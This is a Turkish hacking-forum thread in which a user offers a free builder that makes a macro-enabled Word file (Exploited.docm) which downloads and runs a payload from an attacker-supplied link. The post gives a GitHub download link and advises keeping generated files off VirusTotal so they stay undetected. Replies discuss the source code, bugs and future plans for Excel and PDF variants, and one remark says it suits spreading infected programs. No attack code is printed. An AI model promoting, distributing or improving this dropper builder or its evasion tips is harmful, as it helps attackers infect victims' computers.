Freya Office Word Exploit (BELEŞ)

Endarion · 22 Kas 2022

Selamlar, gene güzel bir konuyla karşınızdayım. Bu konuda sizlere daha bu sabah kodlamış olduğum Word Exploitini tanıtacağım.

Aslında uygulamada öyle çokta ahım şahım özellikler yok. Onları ileride çıkaracağım sürümlerde ekleyeceğim.

Nasıl kullanılacağına gelecek olursakta yalnızca uygulamanızı herhangi bir sunucuya yüklüyorsunuz, ardından direct download link'inide textBox'a girip exploit'e basıyorsunuz. Bu kadar.

Uygulamadan bir görsel:

İndirme linki:

https://github.com/Atalayagiz/Freya-Word-Exploit-Builder-1.0.1/

Oluşturulan Exploited.docm dosyasını direkt virustotal ya da rapor gönderen sitelere atmazsanız daha uzun süre ud kalır.

lolsec · 22 Kas 2022

Keşke EXE olarak değil de proje olarak yükleseydin bizde bakardık

Endarion · 22 Kas 2022

lolsec' Alıntı:
Keşke EXE olarak değil de proje olarak yükleseydin bizde bakardık

Farkındayım bilerek o şekilde yüklemiştim. Fakat kaynak kodlarını düzenliyorum şuan yükleyeceğim. Diğer türlü ben yüklemezsem başkasi yükleyecek.

lolsec · 22 Kas 2022

Endarion' Alıntı:
Farkındayım bilerek o şekilde yüklemiştim. Fakat kaynak kodlarını düzenliyorum şuan yükleyeceğim. Diğer türlü ben yüklemezsem başkasi yükleyecek.

şimdi 0x'li hesaplar EXE'yi decompile edip kodları google'da aratır

yükle yükle

zPain · 22 Kas 2022

hocam nasıl kullanılacağı hakkında biraz daha detaylı anlatır mısınız

Endarion · 22 Kas 2022

lolsec' Alıntı:
şimdi 0x'li hesaplar EXE'yi decompile edip kodları google'da aratır
yükle yükle

Hala aktif mi o yahu

. Engellediğim çok oldu kafam rahat.

zPain' Alıntı:
hocam nasıl kullanılacağı hakkında biraz daha detaylı anlatır mısınız

Youtubeye videosunu çekip atarım bir ara.

zPain · 22 Kas 2022

Endarion' Alıntı:
Youtubeye videosunu çekip atarım bir ara.

tamam hocam

Endarion · 22 Kas 2022

Güncelledim, artık kaynak kodları indirilebilir.

lolsec · 22 Kas 2022

Endarion' Alıntı:
Güncelledim, artık kaynak kodları indirilebilir.

Eline sağlık kodları gece incelerim.
bu arada o mağlum kişi halen aktif amann neyse

Endarion · 22 Kas 2022

lolsec' Alıntı:
Eline sağlık kodları gece incelerim.
bu arada o mağlum kişi halen aktif amann neyse

Valla en son Freya DC keylogger projemde log tuttuğumu iddia edip telegram + discorddan sövülmedik değerimi bırakmadığı için dinlemeye değer biri olduğunu bile düşünmüyorum.

Kodlarda da aman aman bir şey yok yahu

. Altı üstü word api + bir tane de macro.

Napcaz · 22 Kas 2022

Bu bir exploit değil, basit bir zararlı macro oluşturucusu olur en fazla, kod çok hatalı çalışıyor, bizden aldığın linki hazır indir-çalıştır makrosuna ekliyorsun ama dosya isimleri falan aynı (downloadedfile.exe) kullanıcının ne tarz bir dosyayı servere yükleyeceğini hiçbir şekilde açıklamamışsın kodu inciğine okuması lazım kendinde halletmemişsin bu sorunu. Bu programı kullanmak yerine kendi makromu alıp docm dosyasına yüklemek arasında bir fark göremiyorum.

Endarion · 22 Kas 2022

Napcaz' Alıntı:
Bu bir exploit değil, basit bir zararlı macro oluşturucusu olur en fazla, kod çok hatalı çalışıyor, bizden aldığın linki hazır indir-çalıştır makrosuna ekliyorsun ama dosya isimleri falan aynı (downloadedfile.exe) kullanıcının ne tarz bir dosyayı servere yükleyeceğini hiçbir şekilde açıklamamışsın kodu inciğine okuması lazım kendinde halletmemişsin bu sorunu. Bu programı kullanmak yerine kendi makromu alıp docm dosyasına yüklemek arasında bir fark göremiyorum.

Kodun yaptığı şey tam olarak o zaten inkar etmedim. Hatalı çalışması konusunda da haklısın, kodlarda da belirttim. Son olarakta exploit olarak söylememin nedeni ise internette genellikle o şekilde geçmesi. Her söylediğinde haklısın yoksa. Ama inciğine kadar okunması kısmını anlayamadım tam olarak.

Napcaz · 22 Kas 2022

Endarion' Alıntı:
Kodun yaptığı şey tam olarak o zaten inkar etmedim. Hatalı çalışması konusunda da haklısın, kodlarda da belirttim. Son olarakta exploit olarak söylememin nedeni ise internette genellikle o şekilde geçmesi. Her söylediğinde haklısın yoksa. Ama inciğine kadar okunması kısmını anlayamadım tam olarak.

Şimdi fark ettim linkten indirilen dosya içeriği "downloadedfile.exe" isimli bir dosyaya yoksa bile oluşturulup kaydediliyor ben bu isimde bir exe varsa onun içine kaydediyor diye okumuştum, yanlış görmüşüm. Ama genede programın kullanımı ile ilgili büyük soru işaretleri var. Madem böyle hazır bir makro oluşturucusu yapıyorsunuz. Buralarda kullanıcıya özgürlük tanımanız daha güzel olur diye düşünüyorum; kullanıcı çalıştırılıcak dosyanın ne tür bir dosya olucağını (belkide sadece bir fotorafın açılmasını istiyecek) ,adını, nereye kaydedileceğini belirliyebilmeli.

Endarion · 22 Kas 2022

Napcaz' Alıntı:
Şimdi fark ettim linkten indirilen dosya içeriği "downloadedfile.exe" isimli bir dosyaya yoksa bile oluşturulup kaydediliyor ben bu isimde bir exe varsa onun içine kaydediyor diye okumuştum, yanlış görmüşüm. Ama genede programın kullanımı ile ilgili büyük soru işaretleri var. Madem böyle hazır bir makro oluşturucusu yapıyorsunuz. Buralarda kullanıcıya özgürlük tanımanız daha güzel olur diye düşünüyorum; kullanıcı çalıştırılıcak dosyanın ne tür bir dosya olucağını (belkide sadece bir fotorafın açılmasını istiyecek) ,adını, nereye kaydedileceğini belirliyebilmeli.

Evet, dosyayı direkt olarak masaüstüne kaydediyor. Bu daha ilk sürümleri zaten. Daha sonraki sürümlerinde nereye kaydedileceğini, dosya uzantısını, başlangıca eklemeyi, yanına excel, pdf exploitleri vs gibi bir çok özellik ile geliştireceğim. Başlangıçta sayılırım daha. Tabii sadece download & Executede olmayacak. Farklı farklı şeyler ekleyeceğim.

Napcaz · 22 Kas 2022

Endarion' Alıntı:
Evet, dosyayı direkt olarak masaüstüne kaydediyor. Bu daha ilk sürümleri zaten. Daha sonraki sürümlerinde nereye kaydedileceğini, dosya uzantısını, başlangıca eklemeyi, yanına excel, pdf exploitleri vs gibi bir çok özellik ile geliştireceğim. Başlangıçta sayılırım daha.

Aslında bu tarz bir proje birçok kullanıcının sadece istedikleri virüslü programları uzak bir server a yükleyererek yaydıkları word dosyalarıyla çalıştırabilecekleri kolay bir hazır program olabilir. Keyifli geliştirmeler...

Kendim dosyaları derlediğimde windows apileri ile ilgili hatalar aldım dll dosyalarıyla aynı dizinde çalıştırmama rağmen benle ilgili bir problemde olabilir tabiki ama genede bilmek isteyebilirsin diye düşündüm:
Microsoft.Office.Interop.Word.Application newApp = new ApplicationClass(); -> hatanın olduğu satır

Endarion · 22 Kas 2022

Teşekkürler, umarım daha da grliştirebilirim.

Aldığınız hata da şundan kaynaklı sanırım. Projenin çalışması için yanılmıyorsam 2 adet nuget paketinin yüklenmesi gerekiyor. Yüklendiğinde sorun ortadan kalkacaktır.

Muslukcu · 25 Kas 2022

Endarion' Alıntı:
Selamlar, gene güzel bir konuyla karşınızdayım. Bu konuda sizlere daha bu sabah kodlamış olduğum Word Exploitini tanıtacağım.

Aslında uygulamada öyle çokta ahım şahım özellikler yok. Onları ileride çıkaracağım sürümlerde ekleyeceğim.

Nasıl kullanılacağına gelecek olursakta yalnızca uygulamanızı herhangi bir sunucuya yüklüyorsunuz, ardından direct download link'inide textBox'a girip exploit'e basıyorsunuz. Bu kadar.

Uygulamadan bir görsel:

İndirme linki:

https://github.com/Atalayagiz/Freya-Word-Exploit-Builder-1.0.1/

Oluşturulan Exploited.docm dosyasını direkt virustotal ya da rapor gönderen sitelere atmazsanız daha uzun süre ud kalır.

Elinize saglik

Complexity · 2 Ara 2022

Endarion' Alıntı:
Farkındayım bilerek o şekilde yüklemiştim. Fakat kaynak kodlarını düzenliyorum şuan yükleyeceğim. Diğer türlü ben yüklemezsem başkasi yükleyecek.

Sorun yok dostum ben müsait olduğum ara hex editor ile incelerim

MuhammedTr768 · 2 Ara 2022

Endarion' Alıntı:
Selamlar, gene güzel bir konuyla karşınızdayım. Bu konuda sizlere daha bu sabah kodlamış olduğum Word Exploitini tanıtacağım.

Aslında uygulamada öyle çokta ahım şahım özellikler yok. Onları ileride çıkaracağım sürümlerde ekleyeceğim.

Nasıl kullanılacağına gelecek olursakta yalnızca uygulamanızı herhangi bir sunucuya yüklüyorsunuz, ardından direct download link'inide textBox'a girip exploit'e basıyorsunuz. Bu kadar.

Uygulamadan bir görsel:

İndirme linki:

https://github.com/Atalayagiz/Freya-Word-Exploit-Builder-1.0.1/

Oluşturulan Exploited.docm dosyasını direkt virustotal ya da rapor gönderen sitelere atmazsanız daha uzun süre ud kalır.

İncelenecek

Endarion · 2 Ara 2022

Complexity' Alıntı:
Sorun yok dostum ben müsait olduğun ara hex editor ile incelerim

Güncelledim kaynak kodları da var artık.

Freya Office Word Exploit (BELEŞ)

Katılımcı Üye

Katılımcı Üye

Katılımcı Üye

Katılımcı Üye

Yeni üye

Katılımcı Üye

Yeni üye

Katılımcı Üye

Katılımcı Üye

Katılımcı Üye

Anka Team Senior

Katılımcı Üye

Anka Team Senior

Katılımcı Üye

Anka Team Senior

Katılımcı Üye

Katılımcı Üye

Yeni üye

Kıdemli Üye

Katılımcı Üye